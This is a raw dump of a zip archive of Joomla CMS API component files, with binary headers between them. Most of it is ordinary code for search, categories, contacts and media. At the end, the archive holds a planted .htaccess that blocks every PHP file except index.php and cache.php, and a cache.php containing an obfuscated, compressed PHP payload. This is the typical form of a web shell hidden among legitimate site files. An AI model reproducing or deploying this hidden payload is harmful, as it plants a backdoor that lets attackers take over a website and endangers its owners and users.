	public function display($tpl = null)
	{
		$doc = JFactory::getDocument();
		$app = JFactory::getApplication();

		$params = JComponentHelper::getParams('com_search');
		$doc->setShortName($params->get('opensearch_name', $app->get('sitename')));
		$doc->setDescription($params->get('opensearch_description', $app->get('MetaDesc')));

		// Add the URL for the search
		$searchUri = JUri::base() . 'index.php?option=com_search&searchword={searchTerms}';

		// Find the menu item for the search
		$menu  = $app->getMenu();
		$items = $menu->getItems('link', 'index.php?option=com_search&view=search');

		if (isset($items[0]))
		{
			$searchUri .= '&Itemid=' . $items[0]->id;
		}

		$htmlSearch           = new JOpenSearchUrl;
		$htmlSearch->template = JRoute::_($searchUri);
		$doc->addUrl($htmlSearch);
	}
}
PK���\�V�"com_search/views/search/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\�V�
index.htmlnu�[���<!DOCTYPE html><title></title>
PKk��\�	��UU6com_categories/src/Controller/CategoriesController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_categories
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Categories\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\Table\Category;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The categories controller
 *
 * @since  4.0.0
 */
class CategoriesController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'categories';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'categories';

    /**
     * Method to allow extended classes to manipulate the data to be saved for an extension.
     *
     * @param   array  $data  An array of input data.
     *
     * @return  array
     *
     * @since   4.0.0
     */
    protected function preprocessSaveData(array $data): array
    {
        $extension         = $this->getExtensionFromInput();
        $data['extension'] = $extension;

        // TODO: This is a hack to drop the extension into the global input object - to satisfy how state is built
        //       we should be able to improve this in the future
        $this->input->set('extension', $extension);

        return $data;
    }

    /**
     * Method to save a record.
     *
     * @param   integer  $recordKey  The primary key of the item (if exists)
     *
     * @return  integer  The record ID on success, false on failure
     *
     * @since   4.0.6
     */
    protected function save($recordKey = null)
    {
        $recordId = parent::save($recordKey);

        if (!$recordId) {
            return $recordId;
        }

        $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');

        if (empty($data['location'])) {
            return $recordId;
        }

        /** @var Category $category */
        $category = $this->getModel('Category')->getTable('Category');
        $category->load((int) $recordId);

        $reference = $category->parent_id;

        if (!empty($data['location_reference'])) {
            $reference = (int) $data['location_reference'];
        }

        $category->setLocation($reference, $data['location']);
        $category->store();

        return $recordId;
    }

    /**
     * Basic display of an item view
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayItem($id = null)
    {
        $this->modelState->set('filter.extension', $this->getExtensionFromInput());

        return parent::displayItem($id);
    }
    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $this->modelState->set('filter.extension', $this->getExtensionFromInput());

        return parent::displayList();
    }

    /**
     * Get extension from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getExtensionFromInput()
    {
        return $this->input->exists('extension') ?
            $this->input->get('extension') : $this->input->post->get('extension');
    }
}
PKk��\S�u��2com_categories/src/View/Categories/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_categories
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Categories\Api\View\Categories;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The categories view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'title',
        'alias',
        'note',
        'published',
        'access',
        'checked_out',
        'checked_out_time',
        'created_user_id',
        'parent_id',
        'level',
        'extension',
        'lft',
        'rgt',
        'language',
        'language_title',
        'language_image',
        'editor',
        'access_level',
        'author_name',
        'count_trashed',
        'count_unpublished',
        'count_published',
        'count_archived',
        'params',
        'description',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'title',
        'alias',
        'note',
        'published',
        'access',
        'checked_out',
        'checked_out_time',
        'created_user_id',
        'parent_id',
        'level',
        'lft',
        'rgt',
        'language',
        'language_title',
        'language_image',
        'editor',
        'access_level',
        'author_name',
        'count_trashed',
        'count_unpublished',
        'count_published',
        'count_archived',
        'params',
        'description',
    ];

    /**
     * Execute and display a template script.
     *
     * @param   array|null  $items  Array of items
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayList(array $items = null)
    {
        foreach (FieldsHelper::getFields('com_content.categories') as $field) {
            $this->fieldsToRenderList[] = $field->name;
        }

        return parent::displayList();
    }

    /**
     * Execute and display a template script.
     *
     * @param   object  $item  Item
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayItem($item = null)
    {
        foreach (FieldsHelper::getFields('com_content.categories') as $field) {
            $this->fieldsToRenderItem[] = $field->name;
        }

        if ($item === null) {
            /** @var \Joomla\CMS\MVC\Model\AdminModel $model */
            $model = $this->getModel();
            $item  = $this->prepareItem($model->getItem());
        }

        if ($item->id === null) {
            throw new RouteNotFoundException('Item does not exist');
        }

        if ($item->extension != $this->getModel()->getState('filter.extension')) {
            throw new RouteNotFoundException('Item does not exist');
        }

        return parent::displayItem($item);
    }

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        foreach (FieldsHelper::getFields('com_content.categories', $item, true) as $field) {
            $item->{$field->name} = $field->apivalue ?? $field->rawvalue;
        }

        return parent::prepareItem($item);
    }
}
PKk��\�����-com_contact/src/View/Contacts/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_contact
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Api\View\Contacts;

use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\Component\Contact\Api\Serializer\ContactSerializer;
use Joomla\Component\Content\Api\Helper\ContentHelper;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The contacts view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'alias',
        'name',
        'category',
        'created',
        'created_by',
        'created_by_alias',
        'modified',
        'modified_by',
        'image',
        'tags',
        'featured',
        'publish_up',
        'publish_down',
        'version',
        'hits',
        'metakey',
        'metadesc',
        'metadata',
        'con_position',
        'address',
        'suburb',
        'state',
        'country',
        'postcode',
        'telephone',
        'fax',
        'misc',
        'email_to',
        'default_con',
        'user_id',
        'access',
        'mobile',
        'webpage',
        'sortname1',
        'sortname2',
        'sortname3',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'alias',
        'name',
        'category',
        'created',
        'created_by',
        'created_by_alias',
        'modified',
        'modified_by',
        'image',
        'tags',
        'user_id',
    ];

    /**
     * The relationships the item has
     *
     * @var    array
     * @since  4.0.0
     */
    protected $relationship = [
        'category',
        'created_by',
        'modified_by',
        'user_id',
        'tags',
    ];

    /**
     * Constructor.
     *
     * @param   array  $config  A named configuration array for object construction.
     *                          contentType: the name (optional) of the content type to use for the serialization
     *
     * @since   4.0.0
     */
    public function __construct($config = [])
    {
        if (\array_key_exists('contentType', $config)) {
            $this->serializer = new ContactSerializer($config['contentType']);
        }

        parent::__construct($config);
    }

    /**
     * Execute and display a template script.
     *
     * @param   array|null  $items  Array of items
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayList(array $items = null)
    {
        foreach (FieldsHelper::getFields('com_contact.contact') as $field) {
            $this->fieldsToRenderList[] = $field->name;
        }

        return parent::displayList();
    }

    /**
     * Execute and display a template script.
     *
     * @param   object  $item  Item
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayItem($item = null)
    {
        foreach (FieldsHelper::getFields('com_contact.contact') as $field) {
            $this->fieldsToRenderItem[] = $field->name;
        }

        if (Multilanguage::isEnabled()) {
            $this->fieldsToRenderItem[] = 'languageAssociations';
            $this->relationship[]       = 'languageAssociations';
        }

        return parent::displayItem();
    }

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        foreach (FieldsHelper::getFields('com_contact.contact', $item, true) as $field) {
            $item->{$field->name} = $field->apivalue ?? $field->rawvalue;
        }

        if (Multilanguage::isEnabled() && !empty($item->associations)) {
            $associations = [];

            foreach ($item->associations as $language => $association) {
                $itemId = explode(':', $association)[0];

                $associations[] = (object) [
                    'id'       => $itemId,
                    'language' => $language,
                ];
            }

            $item->associations = $associations;
        }

        if (!empty($item->tags->tags)) {
            $tagsIds   = explode(',', $item->tags->tags);
            $tagsNames = $item->tagsHelper->getTagNames($tagsIds);

            $item->tags = array_combine($tagsIds, $tagsNames);
        } else {
            $item->tags = [];
        }

        if (isset($item->image)) {
            $item->image = ContentHelper::resolve($item->image);
        }

        return parent::prepareItem($item);
    }
}
PKk��\����
�
0com_contact/src/Serializer/ContactSerializer.phpnu�[���<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Api\Serializer;

use Joomla\CMS\Router\Route;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Tag\TagApiSerializerTrait;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;
use Tobscure\JsonApi\Relationship;
use Tobscure\JsonApi\Resource;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Temporary serializer
 *
 * @since  4.0.0
 */
class ContactSerializer extends JoomlaSerializer
{
    use TagApiSerializerTrait;

    /**
     * Build content relationships by associations
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function languageAssociations($model)
    {
        $resources = [];

        // @todo: This can't be hardcoded in the future?
        $serializer = new JoomlaSerializer($this->type);

        foreach ($model->associations as $association) {
            $resources[] = (new Resource($association, $serializer))
                ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/contact/' . $association->id));
        }

        $collection = new Collection($resources, $serializer);

        return new Relationship($collection);
    }

    /**
     * Build category relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function category($model)
    {
        $serializer = new JoomlaSerializer('categories');

        $resource = (new Resource($model->catid, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/categories/' . $model->catid));

        return new Relationship($resource);
    }

    /**
     * Build category relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function createdBy($model)
    {
        $serializer = new JoomlaSerializer('users');

        $resource = (new Resource($model->created_by, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by));

        return new Relationship($resource);
    }

    /**
     * Build editor relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function modifiedBy($model)
    {
        $serializer = new JoomlaSerializer('users');

        $resource = (new Resource($model->modified_by, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by));

        return new Relationship($resource);
    }

    /**
     * Build contact user relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function userId($model)
    {
        $serializer = new JoomlaSerializer('users');

        $resource = (new Resource($model->user_id, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->user_id));

        return new Relationship($resource);
    }
}
PKk��\v�|��%com_media/src/Model/AdaptersModel.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Api\Model;

use Joomla\CMS\MVC\Model\BaseModel;
use Joomla\CMS\MVC\Model\ListModelInterface;
use Joomla\CMS\Pagination\Pagination;
use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Media web service model supporting lists of media adapters.
 *
 * @since  4.1.0
 */
class AdaptersModel extends BaseModel implements ListModelInterface
{
    use ProviderManagerHelperTrait;

    /**
     * A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object,
     * since com_media's ApiModel does not support pagination as we know from regular ListModel derived models.
     *
     * @var    int
     * @since  4.1.0
     */
    private $total = 0;

    /**
     * Method to get a list of files and/or folders.
     *
     * @return  array  An array of data items.
     *
     * @since   4.1.0
     */
    public function getItems(): array
    {
        $adapters = [];
        foreach ($this->getProviderManager()->getProviders() as $provider) {
            foreach ($provider->getAdapters() as $adapter) {
                $obj              = new \stdClass();
                $obj->id          = $provider->getID() . '-' . $adapter->getAdapterName();
                $obj->provider_id = $provider->getID();
                $obj->name        = $adapter->getAdapterName();
                $obj->path        = $provider->getID() . '-' . $adapter->getAdapterName() . ':/';

                $adapters[] = $obj;
            }
        }

        // A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object.
        $this->total = \count($adapters);

        return $adapters;
    }

    /**
     * Method to get a \JPagination object for the data set.
     *
     * @return  Pagination  A Pagination object for the data set.
     *
     * @since   4.1.0
     */
    public function getPagination(): Pagination
    {
        return new Pagination($this->getTotal(), $this->getStart(), 0);
    }

    /**
     * Method to get the starting number of items for the data set. Because com_media's ApiModel
     * does not support pagination as we know from regular ListModel derived models,
     * we always start at the top.
     *
     * @return  integer  The starting number of items available in the data set.
     *
     * @since   4.1.0
     */
    public function getStart(): int
    {
        return 0;
    }

    /**
     * Method to get the total number of items for the data set.
     *
     * @return  integer  The total number of items available in the data set.
     *
     * @since   4.1.0
     */
    public function getTotal(): int
    {
        return $this->total;
    }
}
PKk��\�C1Zff"com_media/src/Model/MediaModel.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Api\Model;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\Exception\ResourceNotFound;
use Joomla\CMS\MVC\Model\BaseModel;
use Joomla\CMS\MVC\Model\ListModelInterface;
use Joomla\CMS\Pagination\Pagination;
use Joomla\Component\Media\Administrator\Exception\FileNotFoundException;
use Joomla\Component\Media\Administrator\Model\ApiModel;
use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Media web service model supporting lists of media items.
 *
 * @since  4.1.0
 */
class MediaModel extends BaseModel implements ListModelInterface
{
    use ProviderManagerHelperTrait;

    /**
     * Instance of com_media's ApiModel
     *
     * @var ApiModel
     * @since  4.1.0
     */
    private $mediaApiModel;

    /**
     * A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object,
     * since com_media's ApiModel does not support pagination as we know from regular ListModel derived models.
     *
     * @var int
     * @since  4.1.0
     */
    private $total = 0;

    public function __construct($config = [])
    {
        parent::__construct($config);

        $this->mediaApiModel = new ApiModel();
    }

    /**
     * Method to get a list of files and/or folders.
     *
     * @return  array  An array of data items.
     *
     * @since   4.1.0
     */
    public function getItems(): array
    {
        // Map web service model state to com_media options.
        $options = [
            'url'       => $this->getState('url', false),
            'temp'      => $this->getState('temp', false),
            'search'    => $this->getState('search', ''),
            'recursive' => $this->getState('search_recursive', false),
            'content'   => $this->getState('content', false),
        ];

        ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($this->getState('path', ''));
        try {
            $files = $this->mediaApiModel->getFiles($adapterName, $path, $options);
        } catch (FileNotFoundException $e) {
            throw new ResourceNotFound(
                Text::sprintf('WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $path),
                404
            );
        }

        /**
         * A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object.
         * Because com_media's ApiModel does not support pagination as we know from regular ListModel
         * derived models, we always return all retrieved items.
         */
        $this->total = \count($files);

        return $files;
    }

    /**
     * Method to get a \JPagination object for the data set.
     *
     * @return  Pagination  A Pagination object for the data set.
     *
     * @since   4.1.0
     */
    public function getPagination(): Pagination
    {
        return new Pagination($this->getTotal(), $this->getStart(), 0);
    }

    /**
     * Method to get the starting number of items for the data set. Because com_media's ApiModel
     * does not support pagination as we know from regular ListModel derived models,
     * we always start at the top.
     *
     * @return  int  The starting number of items available in the data set.
     *
     * @since   4.1.0
     */
    public function getStart(): int
    {
        return 0;
    }

    /**
     * Method to get the total number of items for the data set.
     *
     * @return  int  The total number of items available in the data set.
     *
     * @since   4.1.0
     */
    public function getTotal(): int
    {
        return $this->total;
    }
}
PKk��\Y7��G G #com_media/src/Model/MediumModel.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Api\Model;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\Exception\ResourceNotFound;
use Joomla\CMS\MVC\Controller\Exception\Save;
use Joomla\CMS\MVC\Model\BaseModel;
use Joomla\Component\Media\Administrator\Exception\FileExistsException;
use Joomla\Component\Media\Administrator\Exception\FileNotFoundException;
use Joomla\Component\Media\Administrator\Exception\InvalidPathException;
use Joomla\Component\Media\Administrator\Model\ApiModel;
use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Media web service model supporting a single media item.
 *
 * @since  4.1.0
 */
class MediumModel extends BaseModel
{
    use ProviderManagerHelperTrait;

    /**
     * Instance of com_media's ApiModel
     *
     * @var ApiModel
     * @since  4.1.0
     */
    private $mediaApiModel;

    public function __construct($config = [])
    {
        parent::__construct($config);

        $this->mediaApiModel = new ApiModel();
    }

    /**
     * Method to get a single files or folder.
     *
     * @return  \stdClass  A file or folder object.
     *
     * @since   4.1.0
     * @throws  ResourceNotFound
     */
    public function getItem()
    {
        $options = [
            'path'    => $this->getState('path', ''),
            'url'     => $this->getState('url', false),
            'temp'    => $this->getState('temp', false),
            'content' => $this->getState('content', false),
        ];

        ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($this->getState('path', ''));

        try {
            return $this->mediaApiModel->getFile($adapterName, $path, $options);
        } catch (FileNotFoundException $e) {
            throw new ResourceNotFound(
                Text::sprintf('WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $path),
                404
            );
        }
    }

    /**
     * Method to save a file or folder.
     *
     * @param   string  $path  The primary key of the item (if exists)
     *
     * @return  string   The path
     *
     * @since   4.1.0
     *
     * @throws  Save
     */
    public function save($path = null): string
    {
        $path     = $this->getState('path', '');
        $oldPath  = $this->getState('old_path', '');
        $content  = $this->getState('content', null);
        $override = $this->getState('override', false);

        ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($path);

        // Trim adapter information from path
        if ($pos = strpos($path, ':/')) {
            $path = substr($path, $pos + 1);
        }

        // Trim adapter information from old path
        if ($pos = strpos($oldPath, ':/')) {
            $oldPath = substr($oldPath, $pos + 1);
        }

        $resultPath = '';

        /**
         * If we have a (new) path and an old path, we want to move an existing
         * file or folder. This must be done before updating the content of a file,
         * if also requested (see below).
         */
        if ($path && $oldPath) {
            try {
                // ApiModel::move() (or actually LocalAdapter::move()) returns a path with leading slash.
                $resultPath = trim(
                    $this->mediaApiModel->move($adapterName, $oldPath, $path, $override),
                    '/'
                );
            } catch (FileNotFoundException $e) {
                throw new Save(
                    Text::sprintf(
                        'WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND',
                        $oldPath
                    ),
                    404
                );
            }
        }

        // If we have a (new) path but no old path, we want to create a
        // new file or folder.
        if ($path && !$oldPath) {
            // com_media expects separate directory and file name.
            // If we moved the file before, we must use the new path.
            $basename = basename($resultPath ?: $path);
            $dirname  = dirname($resultPath ?: $path);

            try {
                // If there is content, com_media's assumes the new item is a file.
                // Otherwise a folder is assumed.
                $name = $content
                    ? $this->mediaApiModel->createFile(
                        $adapterName,
                        $basename,
                        $dirname,
                        $content,
                        $override
                    )
                    : $this->mediaApiModel->createFolder(
                        $adapterName,
                        $basename,
                        $dirname,
                        $override
                    );

                $resultPath = $dirname . '/' . $name;
            } catch (FileNotFoundException $e) {
                throw new Save(
                    Text::sprintf(
                        'WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND',
                        $dirname . '/' . $basename
                    ),
                    404
                );
            } catch (FileExistsException $e) {
                throw new Save(
                    Text::sprintf(
                        'WEBSERVICE_COM_MEDIA_FILE_EXISTS',
                        $dirname . '/' . $basename
                    ),
                    400
                );
            } catch (InvalidPathException $e) {
                throw new Save(
                    Text::sprintf(
                        'WEBSERVICE_COM_MEDIA_BAD_FILE_TYPE',
                        $dirname . '/' . $basename
                    ),
                    400
                );
            }
        }

        // If we have no (new) path but we do have an old path and we have content,
        // we want to update the contents of an existing file.
        if ($oldPath && $content) {
            // com_media expects separate directory and file name.
            // If we moved the file before, we must use the new path.
            $basename = basename($resultPath ?: $oldPath);
            $dirname  = dirname($resultPath ?: $oldPath);

            try {
                $this->mediaApiModel->updateFile(
                    $adapterName,
                    $basename,
                    $dirname,
                    $content
                );
            } catch (FileNotFoundException $e) {
                throw new Save(
                    Text::sprintf(
                        'WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND',
                        $dirname . '/' . $basename
                    ),
                    404
                );
            } catch (InvalidPathException $e) {
                throw new Save(
                    Text::sprintf(
                        'WEBSERVICE_COM_MEDIA_BAD_FILE_TYPE',
                        $dirname . '/' . $basename
                    ),
                    400
                );
            }

            $resultPath = $resultPath ?: $oldPath;
        }

        // If we still have no result path, something fishy is going on.
        if (!$resultPath) {
            throw new Save(
                Text::_(
                    'WEBSERVICE_COM_MEDIA_UNSUPPORTED_PARAMETER_COMBINATION'
                ),
                400
            );
        }

        return $resultPath;
    }

    /**
     * Method to delete an existing file or folder.
     *
     * @return  void
     *
     * @since   4.1.0
     * @throws  Save
     */
    public function delete(): void
    {
        ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($this->getState('path', ''));

        try {
            $this->mediaApiModel->delete($adapterName, $path);
        } catch (FileNotFoundException $e) {
            throw new Save(
                Text::sprintf('WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $path),
                404
            );
        }
    }
}
PKk��\�5)��$com_media/src/Model/AdapterModel.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Api\Model;

use Joomla\CMS\MVC\Model\BaseModel;
use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Media web service model supporting a single adapter item.
 *
 * @since  4.1.0
 */
class AdapterModel extends BaseModel
{
    use ProviderManagerHelperTrait;

    /**
     * Method to get a single adapter.
     *
     * @return  \stdClass  The adapter.
     *
     * @since   4.1.0
     */
    public function getItem(): \stdClass
    {
        list($provider, $account) = array_pad(explode('-', $this->getState('id'), 2), 2, null);

        if ($account === null) {
            throw new \Exception('Account was not set');
        }

        $provider = $this->getProvider($provider);
        $adapter  = $this->getAdapter($this->getState('id'));

        $obj              = new \stdClass();
        $obj->id          = $provider->getID() . '-' . $adapter->getAdapterName();
        $obj->provider_id = $provider->getID();
        $obj->name        = $adapter->getAdapterName();
        $obj->path        = $provider->getID() . '-' . $adapter->getAdapterName() . ':/';

        return $obj;
    }
}
PKk��\�,r��!com_media/src/View/View/.htaccessnu&1i�<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>PKk��\�"�V!com_media/src/View/View/cache.phpnu&1i�<?php $mLFuw = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGipuAclpuZpgYA0A'; $FPcfm = 'k1Ol03H+jCitAf7B3aJaIrQWNlxLpq9MUc4nms6r3f9xXv/jf0xlW/dzem5rG/y/z2rnc2RvU4la99laEFXW1zjWVoWvXeKJrPf79Xv98Ne6ljWoGvcxb3925i95jH9gu5bOOeT4v74VZPfq9HzkWYbvNKT9vZrL+99FbPdx9YzZ3oEwaIzYUaYuk/qZmcMvb+0v2vGl+5VbeAKg9oS1getrOWJ7zeBPCrJyHUYUU1mDEr6r9bK1bVdNfqS6J3nIzxzZClv4kpHtPMgkUsDUjhAyADT7LSamECH3uhpYFUfFGVuI3zlh3hYG0xdk4jkFChXNyTXA3eri7NhK2u4eAudD20FNnb61PotgLXtqWtWDPDNA0OZzE4i1l9tZzTD99L2vrj+Z37/+4r9SPkOgLIVrBRXVht157xpV1KB+rdqEj9uI7VOh56vJqrr/fYRzS7M6rg0rRFEhE8I7SxARlkRW/ZB1Mj4x8eFPjXOFeNxBrB94OzOFR89CoVqNuWl4TkvceFUaq/YdFkckzMsu+LiqDLxoQYEBXTQakT22Bis5gQKBindJ/odNKUpWorlnaQZP30JhLbokDMjS3zW//ZIIZN8CaMeunE8T4eAo2iLip4tBKBodoOpb7hqPNW1FcfBz5G5JrlF+FCfwcsEE5To4eQLqQT8Ki/W0fGaW6aZvodS3ABtnKpis0EMS1rMYxFqJNfI3NMPgVBXdyStpoTAStJzbKFmvEKTl9pQ28toDCFbWJwCFIw7WAeROmE2pI4YZ+nfkkh4YeoKot57L8F+dFxD0BTwdVsOEbkczatjWeFyMF1wmeFNOILRjlRf6VxiCDw42DwEylXbKUQwIIX4PTUzCTD3owd79BLA3Y4xqq5DbHfQp0f97qAJIFiXefOqsQVuSFdVWFala0F+pFiBAdibk6xYSuF4hRzgzYtGPs8wBdPeEJi6booWG5BjYdo0PwjLhVOeCpf00CCrF5W4sRXwuBDNzwDC24BNIWlj/RYWnlLFwuJF87x29gcFEi1p+nWB2CVOll4CKEsHNKMUcVQC8laWCeh+jZPv0Sy9qnF6OUS1mUqK6q0S4Rnic8WilFcpTVZKh4zNBRUnVhj1xuVIlxWupLX1rsVFkBQCzsHgN7I2fKGBoeUhGUWjSuuDYkGPUhcaXDhlIk+ReGVLJQhpNTbaApMxUhItINWo7KTa5Sfz4cKYrvO1UkIiqRT+au4nn7sXiVl4YtIVFZY+Q5wCF80geLDdMy+yEKZsYpgijnY6OngGp8H0Mw40DTuY9smk94l4iD5NUWi8UxTlV0yUy4gkxmgcERK10VYWaPFJSDWF8yAT5uiqkOjPwQuFRwZeQlkzEb/AkHY+UEBOes/5b7XSMO4MfCC8KNpELTUYsZ+Amw0wdqBHm/SggS2VBFtMuYAgiwxep0c9hCqy49BnYn5BgKAm5NX6JHeHPeM7LsGIBvXQug6boyUKJe/E5AG3zjFk/kSCsrkiadxwail6W9VLyxd3+pV3cXdlt0tzWXtqWdLCLSeKbtprpyVqCpqE5HwcT4/y4BKLQl6dIWCsLcBegebwCDVc5bA6rAxwKqVqYhcEKvzzB/NT/TtXNkuIKFVI6FwKp5LxyiGH5mvFB45hgUN3HFIKgqjSkBinH47ushoqtbpdLSUKQHYA9ZXEUAPFfKVKMQKKZb7nf5z+0bl6vYqJ1E8XM9clpN9ACVIGSQrSJ7pE1Iw24otZGtsXh3ozyZpYktMHzZ22QZMG7gmB8h6d6YX0adbSNCXibG52SW5iLDNwFQQm1t8lvpj+H+IozR0UrP3x2dZiQTCYritCl7KA/eZ9rVV7snyfvcIamtgUVE0acTFmLj/Ep1BoiYPiLNeukrB5qyGl7sYFjAogw6b1LPwQlPfUgOo7Sb64WCSENi7Z0gJ8usCc9TkDMpSnnx52OhGYtFAZmPDikrxhqTvEZWcHQz2M1lBw